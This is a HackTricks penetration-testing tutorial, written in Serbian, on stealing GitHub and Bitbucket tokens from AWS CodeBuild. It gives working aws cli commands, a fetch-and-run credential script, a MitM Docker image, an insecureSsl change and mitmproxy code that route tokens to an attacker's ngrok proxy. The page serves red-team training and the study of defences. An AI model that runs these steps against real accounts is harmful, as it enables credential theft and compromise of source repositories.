AWS Codebuild - Token Leakage

Tip

Nauči & vežbaj AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Nauči & vežbaj GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Nauči & vežbaj Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Oporavak Github/Bitbucket konfigurisanih Tokens

Prvo, proverite da li postoje konfigurisani source credentials koje biste mogli leak:

aws codebuild list-source-credentials

Putem RCE u CodeBuild job

Iz CodeBuild job-a možete pozvati nedokumentovani AWS CodeBuild API endpoint koji će vam vratiti kredencijale koje koristi CodeBuild. Ovo može poslužiti za pribavljanje kredencijala s kojima je CodeBuild job konfigurisan, npr. AWS CodeConnection kredencijali, OAUTH ili PAT kredencijali. CodeBuild job ne mora imati privilegije da bi pozvao ovaj endpoint i takođe je teško otkriti to u logovanju i nadgledanju, jer CodeBuild sam poziva ovaj endpoint nekoliko puta prilikom startovanja.

Tehnika je detaljnije objašnjena u https://thomaspreece.com/2026/03/23/part-2-aws-codebuild-escalating-privileges-via-aws-codeconnections/ ali ukratko, da biste dobili kredencijale unutar CodeBuild job-a, potrebno je da pokrenete sledeće:

python -m pip install botocore boto3 requests
wget https://raw.githubusercontent.com/thomaspreece/AWS-CodeFactoryTokenService-API/refs/heads/main/GetBuildInfo.py
python ./GetBuildInfo.py

Putem Docker Image

Ako otkrijete da je autentifikacija, na primer za Github, podešena na nalogu, možete exfiltrate taj access (GH token or OAuth token) naterati Codebuild da use an specific docker image da pokrene build projekta.

Za ovu svrhu možete create a new Codebuild project ili promeniti environment postojećeg da postavite Docker image.

Docker image koju možete koristiti je https://github.com/carlospolop/docker-mitm. Ovo je vrlo osnovni Docker image koji će postaviti env variables https_proxy, http_proxy i SSL_CERT_FILE. To će vam omogućiti da presretnete većinu saobraćaja hosta navedenog u https_proxy i http_proxy i da verujete SSL CERT-u navedenom u SSL_CERT_FILE.

  1. Kreirajte i otpremite sopstveni Docker MitM image
  • Pratite instrukcije iz repo-a da podesite proxy IP adresu i SSL cert i build the docker image.
  • DO NOT SET http_proxy da ne presretnete zahteve ka metadata endpoint-u.
  • Možete koristiti ngrok kao ngrok tcp 4444 da postavite proxy na vaš host
  • Kada izgradite Docker image, otpremite ga u javni repo (Dockerhub, ECR…)
  1. Podesite environment
  • Kreirajte novi Codebuild project ili izmenite environment postojećeg.
  • Podesite projekat da koristi prethodno generisani Docker image
  1. Podesite MitM proxy na vašem hostu
  • Kao što je navedeno u Github repo možete koristiti nešto kao:
mitmproxy --listen-port 4444  --allow-hosts "github.com"

Tip

Korišćena mitmproxy verzija je bila 9.0.1, prijavljeno je da sa verzijom 10 ovo možda neće raditi.

  1. Pokrenite build & uhvatite kredencijale
  • Možete videti token u Authorization header-u:

Ovo se takođe može uraditi iz aws cli pomoću nečeg poput:

# Create project using a Github connection
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json

## With /tmp/buildspec.json
{
"name": "my-demo-project",
"source": {
"type": "GITHUB",
"location": "https://github.com/uname/repo",
"buildspec": "buildspec.yml"
},
"artifacts": {
"type": "NO_ARTIFACTS"
},
"environment": {
"type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM
"image": "docker.io/carlospolop/docker-mitm:v12",
"computeType": "BUILD_GENERAL1_SMALL",
"imagePullCredentialsType": "CODEBUILD"
}
}

## Json

# Start the build
aws codebuild start-build --project-name my-project2

Putem insecureSSL

Codebuild projekti imaju podešavanje nazvano insecureSsl koje je skriveno u web interfejsu i možete ga menjati samo preko API-ja.
Omogućavanjem toga, Codebuild može da se poveže na repozitorijum bez provere sertifikata koji nudi platforma.

  • Prvo treba da izlistate trenutnu konfiguraciju nečim poput:
aws codebuild batch-get-projects --name <proj-name>
  • Zatim, sa prikupljenim informacijama možete ažurirati podešavanje projekta insecureSsl na True. U nastavku je primer mog ažuriranja projekta, obratite pažnju na insecureSsl=True na kraju (to je jedina stvar koju treba promeniti iz prikupljene konfiguracije).
  • Pored toga, dodajte i promenljive okruženja http_proxy i https_proxy koje ukazuju na vaš tcp ngrok, na primer:
aws codebuild update-project --name <proj-name> \
--source '{
"type": "GITHUB",
"location": "https://github.com/carlospolop/404checker",
"gitCloneDepth": 1,
"gitSubmodulesConfig": {
"fetchSubmodules": false
},
"buildspec": "version: 0.2\n\nphases:\n  build:\n    commands:\n       - echo \"sad\"\n",
"auth": {
"type": "CODECONNECTIONS",
"resource": "arn:aws:codeconnections:eu-west-1:947247140022:connection/46cf78ac-7f60-4d7d-bf86-5011cfd3f4be"
},
"reportBuildStatus": false,
"insecureSsl": true
}' \
--environment '{
"type": "LINUX_CONTAINER",
"image": "aws/codebuild/standard:5.0",
"computeType": "BUILD_GENERAL1_SMALL",
"environmentVariables": [
{
"name": "http_proxy",
"value": "http://2.tcp.eu.ngrok.io:15027"
},
{
"name": "https_proxy",
"value": "http://2.tcp.eu.ngrok.io:15027"
}
]
}'
from mitm import MITM, protocol, middleware, crypto

mitm = MITM(
host="127.0.0.1",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
  • Finally, click on Build the project, the credentials will be sent in clear text (base64) to the mitm port:

Preko HTTP protokola

[!TIP] > Ova ranjivost je ispravljena od strane AWS negde u toku nedelje 20. februara 2023 (mislim u petak). Tako da napadač više ne može da je zloupotrebi :)

Napadač sa povišenim privilegijama nad CodeBuild mogao bi leak-ovati konfigurisani Github/Bitbucket token ili, ako su privilegije podešene preko OAuth, privremeni OAuth token koji se koristi za pristup kodu.

  • Napadač može dodati environment variables http_proxy i https_proxy u CodeBuild projekat koji pokazuju na njegovu mašinu (na primer http://5.tcp.eu.ngrok.io:14972).
  • Zatim, promenite URL github repoa da koristi HTTP umesto HTTPS, na primer: http://github.com/carlospolop-forks/TestActions
  • Zatim, pokrenite osnovni primer sa https://github.com/synchronizing/mitm na portu na koji pokazuju proxy promenljive (http_proxy and https_proxy)
from mitm import MITM, protocol, middleware, crypto

mitm = MITM(
host="0.0.0.0",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
  • Zatim kliknite na Build the project ili pokrenite build iz komandne linije:
aws codebuild start-build --project-name <proj-name>
  • Na kraju, kredencijali će biti posaljeni u čistom tekstu (base64) na mitm port:

Warning

Sada će napadač moći da koristi token sa svoje mašine, navede sve privilegije koje poseduje i lakše ga zloupotrebi nego direktnim korišćenjem CodeBuild servisa.

Nepouzdano izvršavanje PR-a usled pogrešne konfiguracije filtera webhook-a

Za PR-triggered webhook bypass lanac (ACTOR_ACCOUNT_ID regex + untrusted PR execution), pogledajte:

AWS CodeBuild - Untrusted PR Webhook Bypass (CodeBreach-style)

Tip

Nauči & vežbaj AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Nauči & vežbaj GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Nauči & vežbaj Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks